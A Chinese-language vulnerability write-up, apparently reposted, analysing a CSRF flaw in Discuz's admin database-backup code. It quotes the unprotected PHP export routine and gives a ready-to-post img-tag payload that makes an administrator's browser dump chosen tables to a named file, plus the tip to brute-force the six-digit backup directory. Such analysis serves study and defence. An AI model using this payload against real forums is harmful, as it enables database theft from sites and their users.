文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
Discuz CSRF 备份拖库分析
下面我们来分析一个 Discuz CSRF 可以直接脱裤的漏洞,这个漏洞影响非常大,漏洞在刚公开的时候导致了大量的 Discuz 论坛被拖库,漏洞来源乌云缺陷编号:WooYun-2014-64886,作者是跟笔者同一个 team(safekey)的 matt。
漏洞文件在 source/admincp/admincp_db.php 第 30 行开始:
if (! $backupdir ) {$backupdir = random ( 6 ); @mkdir ( './data/backup_'.$backupdir , 0777 ); // 文件夹名是六位随机数 C :: t ( 'common_setting' ) ->update ( 'backupdir' , $backupdir ); /} else { // 这边也没有做 fromhash 的验证 DB :: query ( 'SET SQL_QUOTE_SHOW_CREATE=0' , 'SILENT' ); if (! $_GET['filename'] || ! preg_match ( '/^[\w\_]+$/' , $_GET['filename'] )) { cpmsg ( 'database_export_filename_invalid' , '' , 'error' ); }/* 省略,往下走 */$backupfilename = './data/'.$backupdir.'/'.str_replace ( array ( '/' , '\\' , '.' , "'" ), '' , $_GET['filename'] ); // 文件名从 $_GET['filename'] )获取,可控 if ( $_GET['usezip'] ) { require_once './source/class/class_zip.php' ; } if ( $_GET['method'] == 'multivol' ) { $sqldump = '' ; $tableid = intval ( $_GET['tableid'] ); $startfrom = intval ( $_GET['startfrom'] ); if (! $tableid && $volume == 1 ) { foreach ( $tables as $table ) { $sqldump .= sqldumptablestruct ( $table ); } } $complete = TRUE ; for (; $complete && $tableid < count ( $tables ) && strlen ( $sqldump ) + 500 < $_GET ['sizelimit'] * 1000 ; $tableid++ ) { $sqldump .= sqldumptable ( $tables[$tableid] , $startfrom , strlen ( $sqldump )); if ( $complete ) { $startfrom = 0 ; } } $dumpfile = $backupfilename."-%s".'.sql' ; //$dumpfile 为最终导出文件名,下面的代码是写文件
在这个漏洞中,由于表名和文件都是直接 GET 提交的,目录名由一个固定的 backup 加上一个六位数字组成,备份成功后可以直接爆破,最终利用可以直接在论坛发帖加入下面代码即可:
<img src="http : //127.0.0.1/discuz/admin.php?action=db&operation=export&setup=1&scrolltop=&anchor=&type=custom&customtables%5B%5D={ 表名 }&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename={ 文件名 }&exportsubmit=%CC%E1%BD%BB22">
利用截图,如图 4-9 所示。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论